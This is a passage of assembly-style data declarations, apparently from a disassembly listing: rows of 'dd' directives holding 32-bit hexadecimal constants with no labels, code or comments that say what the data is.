		dd 85059227h, 0A74B62F1h, 8F0357D7h, 16EA263Ch,	0B0B09863h
		dd 8924D218h, 1514ECF8h, 0CBAD7B6h, 0BFDD1EA2h,	260BFF09h
		dd 2E3204Bh, 2DE97537h,	16F2F35Bh, 0FD49BCEEh, 95FE3734h
		dd 0D501BDA2h, 0D3D079BBh, 274A4171h, 0E30DD4FAh, 0B7E91269h
		dd 0B0FED6C5h, 501C0798h, 623B3CB4h, 575158F5h,	0E9E1345Bh
		dd 942AA8D3h, 2012802Ch, 0EC90EC63h, 2A40C304h,	0AC9C28EBh
		dd 0ED934B8Dh, 3DE9B0C0h, 82EC970Fh, 90872820h,	3EF21C0Eh
		dd 5EAC22h, 0B49E44EEh,	0D3B68918h, 2127C0C8h, 8E7C1B8h
		dd 0DE7C9D20h, 16DC4447h, 5861E81Ch, 4CCC1288h,	34BE07FEh
		dd 0AF4E150Ah, 4245426h, 43CD5ABAh, 576A8289h, 94D5E541h
		dd 9E9AC3FBh, 544A45C9h, 9878B979h, 4C877CAAh, 0F077549h
		dd 0C2AC88CAh, 5BDDA79Ch, 0BF541779h, 9FA2C34h,	517D8D16h
		dd 78FA86D7h, 0CB0C88D4h, 20714EE9h, 1EBA05BDh,	27291369h
		dd 5EBBF3F9h, 22F01E4Fh, 0B53890B9h, 0F8AAB0C5h, 0C820A620h
		dd 20A59E3Ah, 9C25A782h, 6BBB0F16h, 0E153552Dh,	6DB43B7Bh
		dd 96E92702h, 0C028F442h, 0F05D5231h, 0C97BB518h, 0BB0CF42h
		dd 0B98ED376h, 0E0694B6Bh, 3E1E1171h, 0CB83088Fh, 24CA2357h
		dd 9C4F1801h, 58E9EF42h, 0F3A9C42Bh, 0CE8BDADAh, 21FF2EB9h
		dd 2D874002h, 5BB6163Ah, 0C4038626h, 5449C3Ch, 6D27520Ch
		dd 6A05EE78h, 0A2EAEB17h, 969D7B38h, 5AF09022h,	0C7E04945h
		dd 79272254h, 94364539h, 0D7C8C2C2h, 9BD40E8h, 6C737D16h
		dd 0F10F97ABh, 30747868h, 20F8FF7h, 0A0463D98h,	0C85A95F6h
		dd 678BB573h, 0C45FDB1Ah, 0D298202Ah, 5F39FBFCh, 0CB2D029h
		dd 7054713h, 6CB1AFECh,	45FD6E68h, 0BE6BFC4h, 16C0604Ah
		dd 877E8210h, 2B7D0259h, 0E9C5662Ah, 8410BA39h,	7D7D7775h
		dd 0D828ED1Fh, 66F0767Ah, 0D4B2521Fh, 0D01E299Fh, 3BAD4ABAh
		dd 6E62FACBh, 2D99C67Dh, 0E8466568h, 1292BB3Fh,	3B0118D4h
		dd 300E7329h, 945F6000h, 0DA64277Ah, 72C864C4h,	0C122E03h
		dd 0FD783B4Fh, 2DEF0844h, 68908494h, 9ABA1FE4h,	0C4F65E30h
		dd 1127FE5Ah, 0DCF279A4h, 29BA5201h, 6035474Eh,	502D604h
		dd 0DBE90BA4h, 0D1F7037Eh
		dd 0C66D9248h, 0D21604E1h, 81FDEC04h, 0A25E747Fh, 0CE88EDE0h
		dd 413F5A2Ah, 0AC0F22F2h, 8E563029h, 0C7F55C60h, 4AB2448Fh
		dd 5BAFECB0h, 0B5EB26A4h, 5E4C1052h, 0CB9F1248h, 82CFA2EEh
		dd 400608EEh, 9583625Eh, 0F0F4604Ch, 9A3EFA95h,	6A91275Ah
		dd 76A2A9FDh, 400C82A2h, 40553F83h, 828AB06Ch, 0F20960F7h
		dd 5E78F41Eh, 2496E2C4h, 0A310AE56h, 0D78AF75Ah, 0B00FE544h
		dd 3023F6FFh, 1B683CC1h, 41DB972Dh, 269B7A8h, 0CC527555h
		dd 74E55B59h, 0D95A8077h, 0C5E746D1h, 0F2245E8Eh, 104A643h
		dd 0EA6045DFh, 306C5521h, 9B002331h, 12CE2DB4h,	4F1CE923h
		dd 622766CDh, 615E4713h, 8D5AC005h, 8761714h, 4698832Ah
		dd 5D908CEDh, 9527557Ah, 7AAD6879h, 34659FFBh, 0FB2DD25h
		dd 35454877h, 5447095Ch, 4ED64C01h, 0E9050C68h,	0F7ACABDAh
		dd 817E45A1h, 69D2C749h, 43BBF5Ch, 0FEE2A181h, 7C7C06A3h
		dd 84EF2AE8h, 0AD595A85h, 0A333C4A1h, 97E231BEh, 0F75C02EFh
		dd 92A4F4E5h, 0D4300C1Ah, 14406F1h, 0F7183EF0h,	5486315Eh
		dd 32D3B5ACh, 7C680830h, 16989778h, 28C2C36Bh, 0D85AF188h
		dd 0D265F662h, 0C2A201BBh, 0CA8B1DF9h, 8E26AFFh, 1005A808h
		dd 0F0AE7B6Bh, 0DE5A41CDh, 0E87986E3h, 0BB4AC147h, 9C6A21A6h
		dd 70783E74h, 2DD9DBB7h, 75F21ED4h, 7D4B6571h, 7955CA12h
		dd 0C20142E7h, 7A51661h, 1EAAF0F4h, 0E608CF4h, 510AEF61h
		dd 9B8A40B7h, 352E6F28h, 0FD5A1234h, 0EBB6694Eh, 4A804EB2h
		dd 0A1895571h, 0FB0BA056h, 924E55C4h, 62C1FC95h, 3AD65062h
		dd 0EDE88565h, 0B1D6E9C4h, 0C4A626D1h, 0CDBAE1D1h, 4910963Dh
		dd 8A0F7FA6h, 0FB7240C2h, 2644FD45h, 0BA3982CFh, 1833028Bh
		dd 0B33D2304h, 10F5806h, 16BB0BE3h, 0E052A4E9h,	40C4F659h
		dd 27A1E281h, 1247AE24h, 2809FD1Ch, 956BF807h, 8952B618h
		dd 0EA84CDA0h, 9FED4C9Fh, 5938B652h, 8FAF4E17h,	59CE10E6h
		dd 9694E50h, 94A3D08h, 335CE05Fh, 0CBB286Eh, 9BCBEE6h
		dd 827FC831h, 5912ADEFh, 58618DC6h, 0F9917A10h,	870473F0h
		dd 1E99F057h, 43955851h, 0AEF1C87Ch, 7ED501B2h,	3FE9CE29h
		dd 0CB4F9307h, 0AF3804BAh, 4058000Bh, 2DF7F035h, 0AF0BDFFEh
		dd 727D3C09h, 0E092838Ch, 96402142h, 9E528EEh, 331F0908h
		dd 5561C2F7h, 0DF973FC4h, 842C9F14h, 66A56FA1h,	0F1861827h
		dd 1D09A0FEh, 86602C81h, 894A4FABh, 798D425Dh, 510067C7h
		dd 0E943B64Fh, 0FE725F67h, 33ED1B24h, 8A6984h, 677DBB53h
		dd 295E1637h, 0C1C012DEh, 0DDA1B797h, 8123F6Dh,	0CCEA9784h
		dd 6817D8EDh, 38CC603Dh, 185601E0h, 3FC98154h, 0FBB06F3Eh
		dd 9596704Ch, 2D7F3657h, 7C9A7C72h, 687A215Dh, 324955B2h
		dd 82E4B53Ah, 0AE1D2AEEh, 808C803h, 0A9780D19h,	0F111011Fh
		dd 580C486Ch, 0CC042BC7h, 1AC10DA4h, 800046ABh,	2848D0C2h
		dd 592C1D79h, 0B353F843h, 0D6EBE94Ch, 32ACF83Fh, 7F9910DBh
		dd 0C11A5FA2h, 0C84CF657h, 1696109Ch, 60BCD989h, 212FF346h
		dd 0E557A209h, 2B25E965h, 0C0A6D582h, 0D5089C31h, 93965AECh
		dd 0FD1F011Ch, 73D196B1h, 0E3814300h, 4512AA14h, 62C31F94h
		dd 1FDFA00h, 608FE9DFh,	65C57780h, 71601778h, 0F1C0EC0Ch
		dd 0E9292F10h, 0BF800C16h, 414E6EC2h, 0C00399A0h, 35480606h
		dd 72050599h, 0BCFAE946h, 128F9FB4h, 0BA79173Ah, 6FD0B3D7h
		dd 2FE937B4h, 0D5495EE1h, 16C57A79h, 0B3A9EFBh,	769101E9h
		dd 1A51E990h, 0E91F106Bh, 600241F6h, 0A5AA2534h, 5AA412C0h
		dd 8E7F2981h, 3CF67F90h, 281CDD97h, 2A6AE916h, 17EE0B44h
		dd 85988B1Eh, 801074B3h, 0D1137CB7h, 0E01800EBh, 0C115BC6Fh
		dd 0C705EE2Eh, 7D25A51Ch, 685B3564h, 2C8B95B8h,	252E15D7h
		dd 419EBBC0h, 88193B9h,	5B013340h, 0A839F1C7h, 0C923C2Ch
		dd 59106793h, 71DF0507h, 26504AFCh, 3416DE13h, 57AAD029h
		dd 6D2DAF08h, 12672560h, 806C5E35h, 0BB47F1F3h,	29D95D0Bh
		dd 0B69994C8h, 61988A36h, 68586192h, 6322E48h, 4B5B5954h
		dd 5FC7BAFFh, 0BA8230D9h, 60B605C7h, 0F22BCA78h, 0F7721A74h
		dd 0DC4004DAh, 0D30B3642h, 40CAE973h, 5C29669Ah, 6E25F2D8h
		dd 4B4852CAh, 6880224Eh, 0F07359DBh, 0EAD3D484h, 0F8024A8h
		dd 4A146329h, 8C5E85FCh, 0F10FB9Eh, 575112B8h, 5B41A503h
		dd 0C058108Fh, 9663EF2h, 230C9B4h, 0D4738C31h, 0C068E223h
		dd 0D14A21DAh, 25C38BEBh, 5CF709ABh, 0FF30C55Ch, 52013FCBh
		dd 0F607B551h, 1D7293DDh, 0DF59FD91h, 8717A06Dh, 17BEB3C5h
		dd 0E8E9121Ch, 0DB951A1h, 0AEB2B02Eh, 905A4140h, 0BA5655C4h
		dd 35118FF5h, 4BA86A9Ch, 8F9D9987h, 727A3837h, 73952205h
		dd 0C291D309h, 6E3160B2h, 227BC721h, 0E4A5DCDBh, 92B6EF5Bh
		dd 0B2DD3D31h, 2ACD217Eh, 5FB749AAh, 0DA08B254h, 44CEBB9Bh
		dd 0A979CEFFh, 6AF7D21Ah, 877BE90Eh, 0EBF2AE13h, 7F8AAB93h
		dd 0EF4D0384h, 0F7AE0F74h, 0B8BD1302h, 6958B6FCh, 0BE57D32Dh
		dd 27CA80C6h, 90AF7318h, 533C06A7h, 0CE47688Eh,	0F0046F0Eh
		dd 0B1E7C025h, 0C166087Fh, 0EBC2DD18h, 45C57A39h, 4FBBB4F4h
		dd 0CD34BBD2h, 17DAE2AFh, 0A856673Ah, 426C9F18h, 499C3F0Dh
		dd 688B4D2Dh, 1204C575h, 60E9E641h, 88635B3Ah, 0E8474E02h
		dd 0F7810193h, 11A36D31h, 5DE90434h, 5D3B79A7h,	95F9752Ah
		dd 11E900FEh, 0DFC6643Fh, 7DF0C052h, 0DB51DC4Bh, 6B9510F3h
		dd 976681Eh, 64BA38F9h,	3DD06263h, 0E91667A0h, 8BC9A388h
		dd 0B66070E0h, 0D3BB4080h, 4B017F7Dh, 51B5CB81h, 0EBD84292h
		dd 0F8FFF8F3h, 5BDE2529h, 0DB2D1516h, 0C45A1Ch,	12DB1BBh
		dd 0F7D38734h, 0FF08D26Bh, 704D0E07h, 0D689CBFEh, 9F5D4BB0h
		dd 73611CA1h, 22CEFF25h, 0E9627699h, 68655D11h,	8DCA57A5h
		dd 7BA40D41h, 63C473ACh, 0A28ED870h, 0A8C8415Eh, 3AD34568h
		dd 0E9A161A2h, 92D23E94h, 2B38612Ch, 0E7D100FEh, 57BEDFF7h
		dd 87EFC10Bh, 6161CFEFh, 522056D4h, 164D3871h, 64DF31BFh
		dd 6024FA99h, 54BE78E4h, 0BF5F7478h, 6FC5FB41h,	596A1998h
		dd 71D6F722h, 29E86F3h,	9C15C31h, 8E2C92C5h, 0D7C24D6h
		dd 440C7C60h, 0C077A801h, 5D36E2FAh, 0CE682933h, 0E905081Ch
		dd 0F5562C73h, 816D8A2h, 4C272067h, 0EDF92C07h,	4113C47h
		dd 0CEDCD8BBh, 187B42B8h, 2C4E611Eh, 0EE4B592Ah, 1C68A1ACh
		dd 1E1C3408h, 87C4D214h, 0FEEBA57Fh, 0AF5F0500h, 0BD292B1Dh
		dd 8AEC1702h, 59531AF7h, 52253FE0h, 0B03F03EEh,	9542BF9Bh
		dd 4CE5B38Eh, 338601BBh, 0C229654Bh, 81295E3h, 0C88018A9h
		dd 0E97B7257h, 0C6E2062Bh, 7F27903Ch, 1FCB6803h, 0BD1121Bh
		dd 268E0697h, 0ADF21A44h, 57F08957h, 59AD0D97h,	78F2252Bh
		dd 0A9F1F302h, 0DF4B169Bh, 0BCEE8EFAh, 34EF392Ch, 9F2ECD02h
		dd 7BFA7529h, 3D64430Ah, 0E904B847h, 38EB9D2Ch,	0F80B303Bh
		dd 2949D3E9h, 8105FC7Ch, 60476D2Eh, 64BB2F5Fh, 0EBF5C792h
		dd 5B6B8D5Ch, 0E95704EAh, 4E25F80Dh, 0D594D6B3h, 96A9B64Fh
		dd 3520FD03h, 2DD6A807h, 0E16E5B6Ch, 87070589h,	2113E8D6h
		dd 140404EAh, 3602136Fh, 0F67A3068h, 7E536312h,	945F81CCh
		dd 2B300CFh, 0C9C33D80h, 30B7B680h, 0C1685AF3h,	0B4312E5Fh
		dd 0EE2B653Fh, 7493FB61h, 68560A80h, 477E4F59h,	6D4D82F6h
		dd 29A10770h, 65EF1F24h, 0CD899A7Bh, 0ECEFE56Ah, 96978CD6h
		dd 62D9FAFAh, 0D7F646A9h
		dd 0B90967Fh, 0ACEE80FAh, 0B151BDB0h, 0E9079F7Ch, 0C0C1FE68h
		dd 0E4720357h, 2E8DC4BAh, 400B8DE8h, 21710B5h, 4AD7CEA2h
		dd 9DA5C16Ch, 0E429B87Bh, 0FC480AB7h, 8602263Eh, 0D4EE922h
		dd 7AFFE869h, 4DD4E1F8h, 0E21C7F04h, 0F603C023h, 6E584F3Ah
		dd 6DEE00E2h, 9CA34DCh,	0B9E913F1h, 89CBFBC7h, 4828257Eh
		dd 2D215B23h, 5D5A09A0h, 6B49519Fh, 0DD272DD3h,	50DB1982h
		dd 3EB46F0Eh, 5E37341Bh, 8328EF29h, 0C5599D3Ch,	0E7855F97h
		dd 0C4B4A4A8h, 0A08B2039h, 7D5FEE46h, 59F56E91h, 41CC8001h
		dd 0EC89F4DEh, 6697866Bh, 27B4312Ch, 0E0D4EA27h, 58945CD0h
		dd 5E479780h, 9F1816Ah,	792101E5h, 0F587EAFFh, 73977364h
		dd 5CBA011Eh, 4030182Ah, 0FE3494C2h, 0E6811901h, 757B034Dh
		dd 5753FE3Ah, 245A2200h, 7D29DE40h, 813926EFh, 7857E277h
		dd 0D820500h, 356E00D8h, 55C55C73h, 3A775625h, 0A31E0F7Fh
		dd 0E90B3E13h, 3DA4DF16h, 5A0BAC1Bh, 62A975BCh,	6F5E7656h
		dd 5E2F9328h, 5D6C3130h, 0B26389B3h, 617D5E45h,	6B2A0282h
		dd 26983F0h, 0E9727003h, 0B87297C8h, 0E91CAB27h, 0B63B5D6Ch
		dd 0E52F1055h, 53176448h, 0A3DC4175h, 4013AA05h, 18313A97h
		dd 35E07A4Bh, 265B3B11h, 431EED05h, 62BFC1BEh, 685C0093h
		dd 5C57E350h, 6249E57Fh, 0F2F746B8h, 705AA6EDh,	1B3A792Dh
		dd 0F751BB4Ch, 4319FDFBh, 59167F0Fh, 0FD0484BCh, 0EE407001h
		dd 31B3EF81h, 4EAEB73Fh, 0F12AF3D9h, 0D2FE7696h, 0A0B7ABFCh
		dd 203DE6BFh, 1E01BEE0h, 0E9FFDFC2h, 77C29810h,	13894D71h
		dd 0E273D4B8h, 4D4259CAh, 527D0929h, 98819805h,	5C819A2Dh
		dd 0EB0204E3h, 1F08379Ch, 0C7A21E40h, 0A99F52Eh, 7CED0342h
		dd 53B46533h, 8A0FFBB0h, 7DC7244Dh, 5A99E9F4h, 818CA22Ah
		dd 6D74DDC7h, 73EF7490h, 0EA9BF70Bh, 99C6E08Ah,	2C4F835Bh
		dd 247B03B9h, 0B7DE2BA0h, 0F77090Ch, 0DC5A69C8h, 34F65938h
		dd 595E391Ah, 630009A2h, 812C063Ch, 1E14F2E1h, 24F41532h
		dd 0F1820F04h, 61BC5E57h, 0C075D886h, 0CD28527Bh, 750CA76Ah
		dd 0CDE96C82h, 5B5220F0h, 4D0ED3E1h, 69EB160Fh,	9EE86BBBh
		dd 0B4E3BC4h, 28E1565Ah, 0FA9A6BF1h, 99B9B475h,	934B08A2h
		dd 4093782Fh, 450FBF75h, 44020D56h, 77BC5271h, 9DCF1C9h
		dd 0B5F6A5h, 29BB64DEh,	0C5AA3E9h, 389311A5h, 7B0045E6h
		dd 25CAB348h, 8BCFDEFCh, 5B16AC5h, 834CC05h, 0E069E92Dh
		dd 175CB83Eh, 0BA0D325Ah, 28BDBA44h, 680238FFh,	9C77E32Fh
		dd 0E58144E3h, 5D127617h, 1B9874FBh, 59A2620Ch,	0B7489E7Dh
		dd 0B5FEC332h, 0D9C2AC2h, 4FE3DFAAh, 67FF0E4Eh,	14ABA173h
		dd 9FC26ABFh, 0D2E57756h, 9013994Ah, 12E03AE4h,	0FE12C111h
		dd 0C04467E5h, 8CBF0B12h, 2317902Bh, 0D0BE48A5h, 5102F82Ch
		dd 9EC59C4Bh, 0AFB476E8h, 5BDB51F4h, 9A21FB8Ah,	0B97AE831h
		dd 36DD3CCCh, 84DE08EBh, 68500A08h, 62ED291Ah, 92645D58h
		dd 4C4CE522h, 8B20C5E7h, 494EBA16h, 631030B8h, 2D5B0AD4h
		dd 1A42AF01h, 94D9F5AFh, 176C8D0Eh, 0B9CBBEh, 63E85976h
		dd 410E525h, 0E9480FA5h, 3E4AD95h, 274532C2h, 0C0CAB379h
		dd 0B765FB7Dh, 0D1351224h, 74575225h, 0E2D24EA6h, 0B1DA6E00h
		dd 0B89CE2Ch, 99BAE9DFh, 3C87F77Eh, 3144B29Eh, 0CA921FE5h
		dd 45CDB3C0h, 60AA3BCFh, 6EA5E946h, 4A2D28C9h, 0FA2102AEh
		dd 0D3F6037Ah, 0F4CA1BBAh, 0BD41D0F5h, 714D0DE4h, 0B0BF0301h
		dd 4BF708h, 5B079394h, 8CCFE937h, 0BF9CCE95h, 3C64AFF6h
		dd 0A5D0154Ah, 0EA251570h, 246FF12Ah, 21A108Dh,	21FFFC2Dh
		dd 4F745720h, 8CA7DC72h, 42C52EE9h, 549E683Bh, 175F70E8h
		dd 52EF2653h, 1362FDBCh, 0E8B2A637h, 0FD88D512h, 7D251063h
		dd 4A6DB836h, 5681F27Bh, 0ACA0A641h, 45D6BA00h,	893EB07Eh
		dd 34D212D1h, 5D80EB34h, 79EF79AFh, 5DEA1243h, 0BCC81631h
		dd 0DF889825h, 2679954Ah, 8BAF5F45h, 59E90BC9h,	271C5F6Fh
		dd 885E52FAh, 5F789CA6h, 20A2B7D0h, 1468130Bh, 0C975A871h
		dd 5BD97807h, 2E202D05h, 0EB5B97A8h, 0BD693029h, 0FB6D5C13h
		dd 3151EB61h, 492B6F8Ch, 59D5549h, 52FABD1Bh, 5F09FF07h
		dd 5A21565Fh, 0D292AD54h, 385134A4h, 0CB25ABB1h, 74271E5Eh
		dd 0E9CF859Ah, 48ED4A1h, 0A46A53ACh, 5854C5DCh,	0F23D81C1h
		dd 7D12127Eh, 0F06A32ABh, 0F748D358h, 0D30510BAh, 80815518h
		dd 0C4277D2Ah, 6528710Ch, 0BC0F57F1h, 207FCB23h, 78FEB841h
		dd 0EF3E4B22h, 62EFD4D5h, 70495D3Fh, 4CC30483h,	0B37E1DD0h
		dd 0C52FD70Ah, 9EC4AE4Ah, 18097C81h, 0B6BA312Fh, 91EBA880h
		dd 0FE5A5209h, 0F7F889F9h, 4B2AC4C8h, 51C7499Fh, 83C4717Bh
		dd 497A88C0h, 9CDD2DB2h, 0DFBBAADAh, 2D886A53h,	0D5F7074Ah
		dd 0A1508245h, 0BD06D95Dh, 738F697Bh, 4D54FFC0h, 9339FC3Eh
		dd 1C28F47Ah, 0CBDB50F7h, 9577B26Ah, 0AD3D2654h, 5E227FF2h
		dd 410549F1h, 2E8BC401h, 3AF02A58h, 4271958Ch, 7579AE42h
		dd 16BDFC6Eh, 0A524961Dh, 58F22BD5h, 0DB050799h, 0A51AE861h
		dd 4CEB080h, 6E594D77h,	9C553EE7h, 572587A8h, 35094496h
		dd 80176973h, 0EF551FF3h, 0D760950Dh, 0FE0B6856h, 8158C853h
		dd 46B7BEAEh, 0CF057FEAh, 0D3C7AD8Fh, 0F7023CBEh, 0F6E9F909h
		dd 7D10577Ch, 112F1039h, 0E9F51848h, 0C2C3644Eh, 8454C05Eh
		dd 45E21E25h, 705AD0C9h, 8394BD16h, 52955D97h, 3049E5AFh
		dd 456D0FD2h, 0D6F76913h, 3774E0h, 26051BBDh, 14D8835h
		dd 128FC65Ch, 67908491h, 480252C5h, 90131A0Ah, 162F1208h
		dd 132CE8B6h, 0B4BC9FE8h, 0C2614AA1h, 56AFFC75h, 4AC38002h
		dd 7D6A26E9h, 659D1A1Eh, 89FF255Dh, 4BC07702h, 0D6B778B0h
		dd 0E18180EEh, 61B469B8h, 64000CDDh, 0BBE9363Eh, 0B4F19DAEh
		dd 97EA78C9h, 7FB13AF7h, 9B45C5D9h, 0B22004F1h,	2FD59C98h
		dd 5018F3F4h, 2D6F8242h, 0FB744348h, 0AABF5701h, 3D21414Ah
		dd 2F1BB9E8h, 0E1DE0EA5h, 9440BA13h, 7DF24CBFh,	3C1D9823h
		dd 49A7748Ch, 8A01C7Ch,	25AE5F5Fh, 126BAC79h, 8A8430E9h
		dd 0AB2F14F1h, 4189937Dh, 34203CE9h, 305D0F7h, 12022C1Fh
		dd 3AA88A16h, 57CB334Bh, 5DDCCEE2h, 0C40F380h, 5C010AE5h
		dd 0EC303EDAh, 7187EB1Bh, 3853483Bh, 7B4282CBh,	0E2E3D17Fh
		dd 5F207082h, 2716F333h, 0C93ADD52h, 946B5103h,	99F2C916h
		dd 0D7647009h, 2765E9E0h, 0C23CEC2Fh, 0A1070EB6h, 6C696B4Bh
		dd 0E11EF564h, 4284DC2h, 9A84D6E9h, 793C0433h, 0D1800662h
		dd 0F39B2A57h, 21A2A940h, 0B677680h, 0B614BBE5h, 0D58311D5h
		dd 9E65071h, 0A7B0157h,	0E6824A5Ch, 2DDF7227h, 59B5CD40h
		dd 232E03Bh, 0A61C99CAh, 12A0F564h, 0BB460E76h,	5AD52917h
		dd 33E4D0ABh, 0FBA052h,	41627B77h, 0CD32C4CAh, 57A36C92h
		dd 0BF7A22C9h, 7CF587D7h, 72B242D6h, 0CF3F765Ch, 0AB58FDE5h
		dd 0A27F7CAh, 6F54FDC1h, 0F4A839D2h, 5AD3E2D4h,	0CB33FE5Fh
		dd 0FA77CF03h, 8FF5FF07h, 778989FEh, 5BF82968h,	2E4B0337h
		dd 6308748Fh, 0DB3F411Ch, 80180475h, 0AE095973h, 0E985EFF2h
		dd 4F05AC8Eh, 0B4F60FACh, 1D11420h, 512FCC80h, 41C06BB5h
		dd 0ECCDFEA6h, 0F639EBF5h, 81D53BDDh, 0EC28C6EDh, 0C02B2059h
		dd 52AAC786h, 8236B63Fh, 87E9B1EEh, 6775547Bh, 8B04A650h
		dd 0E2C14A0Fh, 247D2B05h, 0A6F433F6h, 0B10B498h, 0B0DFF828h
		dd 1C7AB71Ah, 2886F780h
		dd 9CC1E085h, 0CCC22F81h, 463E6282h, 20CADAF7h,	527DC11Eh
		dd 0EE391832h, 0F1F25F29h, 0BF5BD9F6h, 5590DAE4h, 56208848h
		dd 0CC059539h, 6FEFCA87h, 0D7D3366Fh, 53750104h, 0D661B9BBh
		dd 738C7E79h, 60DF2EE9h, 657EEBA6h, 0E6FA2DBFh,	0B76CB027h
		dd 25292F89h, 0B79E7FFh, 645545CAh, 0A0C27817h,	8230E175h
		dd 6248FB77h, 0D1DF47C4h, 3732625h, 4CD21EA7h, 1F489EFBh
		dd 16FD3C93h, 1A44F01Ch, 0D0805FFEh, 5AB86B3Fh,	7141FB59h
		dd 2048FAEAh, 0DC784AEAh, 224485E6h, 2776BC98h,	3F1C963Dh
		dd 0E34FB768h, 4EF09307h, 22FC9D2Fh, 3D7A5871h,	0A3E3013Ch
		dd 0C26C24F6h, 20E7FEE8h, 0C01E226Eh, 0C51F06EDh, 0E9B6E542h
		dd 3420DDAFh, 0CB449DC1h, 0F9291F1Eh, 7B08513Fh, 0F134CB8Bh
		dd 0EEE1AB32h, 2226030h, 0E9770569h, 824C5034h,	620DD9Dh
		dd 2E8541C4h, 37F9488Ah, 5E44B5C2h, 1A2D4FFCh, 5D6D6265h
		dd 0B186C0Ah, 0C4756878h, 0EC435BD1h, 4B8D037h,	13251B31h
		dd 0C3B50AEFh, 0A1E90908h, 0ED6837A0h, 944A5BCDh, 34CBBF80h
		dd 294332F4h, 88FE9CEh,	7C35BDFDh, 14E2F871h, 50FACA87h
		dd 0E92506E1h, 0F6DDC20Bh, 3EF76B99h, 0F6F697D6h, 41B0BFC7h
		dd 7DF736A7h, 1EF19D7h,	0E6810C4Fh, 6C8E4CC0h, 67F83135h
		dd 9B5C14FAh, 40088CD9h, 0D15BE59Bh, 21B8454Ah,	0E982066Fh
		dd 46D74954h, 0CD28F502h, 2BC9F15Ah, 941F4B61h,	0B8805A78h
		dd 349A1390h, 8295EC3h,	0A9522612h, 0B252876Fh,	5AD702C0h
		dd 2A6A8469h, 0F8A92DEFh, 2818A6C6h, 0C2365AF3h, 0F6CA1BFEh
		dd 40908D2h, 0AB82E4E9h, 9FEAD73Ah, 69C3E900h, 0E92D2989h
		dd 926C7C62h, 7B6FBDEEh, 17DF8430h, 1D37D7C5h, 0B4292C26h
		dd 0B0813B4h, 35DA6A36h, 1DC3784Ah, 61EEBC51h, 5023D3Bh
		dd 1A2EA0EBh, 0B85E8140h, 956C8E5Fh, 0C2FE18F5h, 1BFC25E9h
		dd 0A2091867h, 591619B2h, 0B291A22Bh, 13235E29h, 0A5FAF366h
		dd 0A6138DFBh, 5525EC86h, 0BF3368B9h, 0DA991720h, 4196ED22h
		dd 0E3ED031Ah, 0A19DBC6Ah, 3A7C5BD8h, 2736BDA4h, 5DFD09E0h
		dd 49E642F0h, 13614AF6h, 2DBF682Eh, 2427337Dh, 0D0528C54h
		dd 0B951237Fh, 0F2061A02h, 0D4AFF5Bh, 52590802h, 8B1D4555h
		dd 1C52E2D2h, 0ED172D08h, 0C638BF4Fh, 27B88ADAh, 4E0A07F7h
		dd 0F309A62h, 328F5F29h, 0AE492EE5h, 975ACBA3h,	0BF58963h
		dd 0EFF276FBh, 0D1718564h, 0E0E8297Dh, 19B71CB6h, 7D61E3Fh
		dd 0E815E451h, 0B3BB00F6h, 293E6375h, 20D49018h, 0CFE04257h
		dd 472A5964h, 2092C9BEh, 7AE1873Eh, 681640A6h, 10AA91F7h
		dd 0D888016Bh, 0D7DE43DDh, 0FAB5AC14h, 9F6A90E6h, 0D5A5AF91h
		dd 3B0420EFh, 717B4F41h, 2A56AFEFh, 40FC5698h, 0AB09B1D8h
		dd 5911DE68h, 0DBEA8B00h, 895E6D57h, 0ABD858E9h, 48DC2D05h
		dd 10FB3443h, 0E91607DBh, 0CBB1D0DEh, 332C2B4Fh, 0B3168F19h
		dd 5F6E9ABAh, 41E662A4h, 0E8816E45h, 0CC7F9811h, 663B047Ah
		dd 6AD8A858h, 443BCF80h, 25CEABC3h, 7763F373h, 0AD0A250Ch
		dd 1D82C180h, 0E91A1131h, 0DF549A6Fh, 5094BC48h, 68533EC1h
		dd 1A614943h, 0BF125639h, 162CE34Dh, 95F90472h,	9A671D96h
		dd 4BD6DD68h, 4C751885h, 4399DFBh, 0C98BBB0Ch, 979EFD5Bh
		dd 8F59D191h, 39A9BB41h, 0C281D554h, 33D2F8Bh, 45789D0Bh
		dd 506E8882h, 1A82FD09h, 89293274h, 0FEFA80E7h,	3028C045h
		dd 310BFABBh, 89BF5FFBh, 80920FC7h, 0C143EB66h,	0D0401E0h
		dd 788C7DF2h, 8D4FC835h, 8E027975h, 1073330h, 3C8885C7h
		dd 84FD20BBh, 134E5817h, 298097C7h, 341F421Bh, 42ACF801h
		dd 69E9F008h, 800B5DD8h, 8366DDEFh, 0BF282E7Bh,	0F8055967h
		dd 587EF44h, 0D4D4AF1Eh, 4DFCF1DAh, 5863301Ah, 5AD58800h
		dd 0F6BBB450h, 0C48004DCh, 0AFE5200Eh, 0C3ECBEC2h, 908A737Dh
		dd 0E1357E3Bh, 779A62C2h, 701A63Ah, 7A405AE9h, 74CA4A7h
		dd 5E8E9027h, 0BB4049A5h, 44110831h, 784AB22Ah,	5CE4EF54h
		dd 0D3635548h, 0F796D109h, 0E916229Ch, 14902E5Eh, 4B96DD95h
		dd 0EA96A4E4h, 887E5D54h, 822FC17Ah, 0F516C858h, 31762645h
		dd 67AF1FF9h, 0B8534F7Eh, 98265B60h, 690C6E3Ah,	1912C8C3h
		dd 43DBB5E7h, 0F9305AF8h, 2E56A158h, 816075CAh,	2D2C79F1h
		dd 8DE253A6h, 2134A801h, 22857B71h, 3FBA6A44h, 0A9F19B90h
		dd 768C2825h, 7F140CF1h, 0B8187C08h, 0AF85E013h, 1CE9EC02h
		dd 889AD773h, 268B707Fh, 82CFAB72h, 479C4FD3h, 0CBB871DDh
		dd 289A44DFh, 60BB5351h, 14EF1B89h, 0F2F7E1Ch, 6C21D757h
		dd 6B6CC1E9h, 751057A3h, 3ABD0506h, 0A9170EC6h,	0C5FE4794h
		dd 1572DDEh, 425ABF0h, 802824AFh, 6872A54Ch, 9DE85D4Bh
		dd 0FB325FB7h, 0EC3F032Dh, 98B3A6D7h, 6F7C415Bh, 992D34C1h
		dd 9B5A1CFh, 948258E5h,	0D3526457h, 5F864AE0h, 5F393627h
		dd 80241C2h, 54EC5859h,	9C0CD260h, 0BF94DDE9h, 22F01B44h
		dd 6810B461h, 306B7945h, 125A7ADEh, 9BA04E4Bh, 6FF22E1Dh
		dd 9F5C1540h, 4E38E95Bh, 661705B8h, 0E490EEADh,	0FA7BFC09h
		dd 96A1B0F1h, 81CF2880h, 277C32B1h, 7F91BE00h, 84BB398Ch
		dd 13F01E1Fh, 0DE858DC9h, 60F3BBE0h, 0DC040E8Fh, 46583E68h
		dd 0E5B7C478h, 758030C1h, 0AA562498h, 44005706h, 328E0D3Fh
		dd 2354573h, 41FA6EA7h,	5EE1C689h, 0B2468937h, 0A030870Eh
